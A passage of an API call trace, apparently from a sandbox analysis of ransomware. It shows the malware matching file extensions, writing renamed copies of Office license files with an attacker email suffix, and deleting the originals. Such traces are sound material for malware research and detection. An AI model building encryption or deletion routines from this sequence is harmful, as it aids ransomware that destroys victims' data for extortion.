returned 90 [0201.828] lstrlenW (lpString=".zip") returned 4 [0201.828] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.829] lstrlenW (lpString=".rar") returned 4 [0201.829] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.829] lstrlenW (lpString=".bz2") returned 4 [0201.829] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.829] lstrlenW (lpString=".7z") returned 3 [0201.829] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0201.829] lstrlenW (lpString=".dbf") returned 4 [0201.829] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0201.829] lstrlenW (lpString=".1cd") returned 4 [0201.829] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0201.829] lstrlenW (lpString=".jpg") returned 4 [0201.829] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.829] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.829] lstrlenW (lpString="O365BusinessR_SubTest-pl.xrm-ms") returned 31 [0201.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.830] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11175) returned 1 [0201.830] CloseHandle (hObject=0x3f8) returned 1 [0201.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 0x220 [0201.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.831] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.832] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0201.832] GetLastError () returned 0x0 [0201.832] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2ba7, lpOverlapped=0x0) returned 1 [0202.004] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0202.005] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.006] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x112, lpOverlapped=0x0) returned 1 [0202.006] SetEndOfFile (hFile=0x4d4) returned 1 [0202.006] CloseHandle (hObject=0x4d4) returned 1 [0202.006] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.006] SetEndOfFile (hFile=0x3f8) returned 1 [0202.008] CloseHandle (hObject=0x3f8) returned 1 [0202.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 1 [0202.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0202.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0202.393] lstrlenW (lpString=".doc") returned 4 [0202.393] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.393] lstrlenW (lpString=".docx") returned 5 [0202.393] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.393] lstrlenW (lpString=".pdf") returned 4 [0202.393] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.393] lstrlenW (lpString=".xls") returned 4 [0202.393] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.393] lstrlenW (lpString=".xlsx") returned 5 [0202.393] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.393] lstrlenW (lpString=".ppt") returned 4 [0202.394] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0202.394] lstrlenW (lpString=".zip") returned 4 [0202.394] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.394] lstrlenW (lpString=".rar") returned 4 [0202.394] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.394] lstrlenW (lpString=".bz2") returned 4 [0202.394] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.394] lstrlenW (lpString=".7z") returned 3 [0202.394] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0202.394] lstrlenW (lpString=".dbf") returned 4 [0202.394] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0202.394] lstrlenW (lpString=".1cd") returned 4 [0202.394] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0202.394] lstrlenW (lpString=".jpg") returned 4 [0202.394] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0202.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0202.394] lstrlenW (lpString=".doc") returned 4 [0202.394] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.394] lstrlenW (lpString=".docx") returned 5 [0202.394] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.394] lstrlenW (lpString=".pdf") returned 4 [0202.394] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.394] lstrlenW (lpString=".xls") returned 4 [0202.394] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.394] lstrlenW (lpString=".xlsx") returned 5 [0202.394] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.394] lstrlenW (lpString=".ppt") returned 4 [0202.394] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0202.395] lstrlenW (lpString=".zip") returned 4 [0202.395] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.395] lstrlenW (lpString=".rar") returned 4 [0202.395] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.395] lstrlenW (lpString=".bz2") returned 4 [0202.395] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.395] lstrlenW (lpString=".7z") returned 3 [0202.395] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0202.395] lstrlenW (lpString=".dbf") returned 4 [0202.395] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0202.395] lstrlenW (lpString=".1cd") returned 4 [0202.395] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0202.395] lstrlenW (lpString=".jpg") returned 4 [0202.395] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.395] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.395] lstrlenW (lpString="O365HomePremR_Subscription2-pl.xrm-ms") returned 37 [0202.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.396] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11199) returned 1 [0202.396] CloseHandle (hObject=0x558) returned 1 [0202.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 0x220 [0202.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.397] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.397] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.398] GetLastError () returned 0x0 [0202.398] ReadFile (in: hFile=0x558, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0202.399] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0202.401] ReadFile (in: hFile=0x558, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.401] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11e, lpOverlapped=0x0) returned 1 [0202.401] SetEndOfFile (hFile=0x534) returned 1 [0202.401] CloseHandle (hObject=0x534) returned 1 [0202.401] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.401] SetEndOfFile (hFile=0x558) returned 1 [0202.404] CloseHandle (hObject=0x558) returned 1 [0202.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 1 [0202.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0202.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0202.405] lstrlenW (lpString=".doc") returned 4 [0202.405] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.405] lstrlenW (lpString=".docx") returned 5 [0202.405] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.405] lstrlenW (lpString=".pdf") returned 4 [0202.405] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.405] lstrlenW (lpString=".xls") returned 4 [0202.405] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.405] lstrlenW (lpString=".xlsx") returned 5 [0202.405] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.405] lstrlenW (lpString=".ppt") returned 4 [0202.406] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0202.406] lstrlenW (lpString=".zip") returned 4 [0202.406] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.406] lstrlenW (lpString=".rar") returned 4 [0202.406] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.406] lstrlenW (lpString=".bz2") returned 4 [0202.406] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.406] lstrlenW (lpString=".7z") returned 3 [0202.406] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0202.406] lstrlenW (lpString=".dbf") returned 4 [0202.406] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0202.406] lstrlenW (lpString=".1cd") returned 4 [0202.406] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0202.406] lstrlenW (lpString=".jpg") returned 4 [0202.406] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0202.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0202.406] lstrlenW (lpString=".doc") returned 4 [0202.406] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.406] lstrlenW (lpString=".docx") returned 5 [0202.406] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.406] lstrlenW (lpString=".pdf") returned 4 [0202.406] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.406] lstrlenW (lpString=".xls") returned 4 [0202.406] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.406] lstrlenW (lpString=".xlsx") returned 5 [0202.406] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.406] lstrlenW (lpString=".ppt") returned 4 [0202.406] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0202.407] lstrlenW (lpString=".zip") returned 4 [0202.407] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.407] lstrlenW (lpString=".rar") returned 4 [0202.407] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.407] lstrlenW (lpString=".bz2") returned 4 [0202.407] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.407] lstrlenW (lpString=".7z") returned 3 [0202.407] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0202.407] lstrlenW (lpString=".dbf") returned 4 [0202.407] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0202.407] lstrlenW (lpString=".1cd") returned 4 [0202.407] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0202.407] lstrlenW (lpString=".jpg") returned 4 [0202.407] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.407] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.407] lstrlenW (lpString="O365HomePremR_Subscription2-ppd.xrm-ms") returned 38 [0202.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.408] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=26541) returned 1 [0202.408] CloseHandle (hObject=0x558) returned 1 [0202.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 0x220 [0202.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.408] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.408] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.411] GetLastError () returned 0x0 [0202.411] ReadFile (in: hFile=0x558, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x67ad, lpOverlapped=0x0) returned 1 [0202.413] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0202.415] ReadFile (in: hFile=0x558, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.415] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x120, lpOverlapped=0x0) returned 1 [0202.415] SetEndOfFile (hFile=0x534) returned 1 [0202.415] CloseHandle (hObject=0x534) returned 1 [0202.415] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.415] SetEndOfFile (hFile=0x558) returned 1 [0202.432] CloseHandle (hObject=0x558) returned 1 [0202.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 1 [0202.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0202.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0202.433] lstrlenW (lpString=".doc") returned 4 [0202.433] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.434] lstrlenW (lpString=".docx") returned 5 [0202.434] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.434] lstrlenW (lpString=".pdf") returned 4 [0202.434] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.434] lstrlenW (lpString=".xls") returned 4 [0202.434] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.434] lstrlenW (lpString=".xlsx") returned 5 [0202.434] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.434] lstrlenW (lpString=".ppt") returned 4 [0202.434] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0202.434] lstrlenW (lpString=".zip") returned 4 [0202.434] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.434] lstrlenW (lpString=".rar") returned 4 [0202.434] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.434] lstrlenW (lpString=".bz2") returned 4 [0202.434] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.434] lstrlenW (lpString=".7z") returned 3 [0202.434] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0202.434] lstrlenW (lpString=".dbf") returned 4 [0202.434] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0202.434] lstrlenW (lpString=".1cd") returned 4 [0202.434] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0202.434] lstrlenW (lpString=".jpg") returned 4 [0202.434] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0202.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0202.434] lstrlenW (lpString=".doc") returned 4 [0202.434] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.435] lstrlenW (lpString=".docx") returned 5 [0202.435] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.435] lstrlenW (lpString=".pdf") returned 4 [0202.435] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.435] lstrlenW (lpString=".xls") returned 4 [0202.435] lstrcmpiW 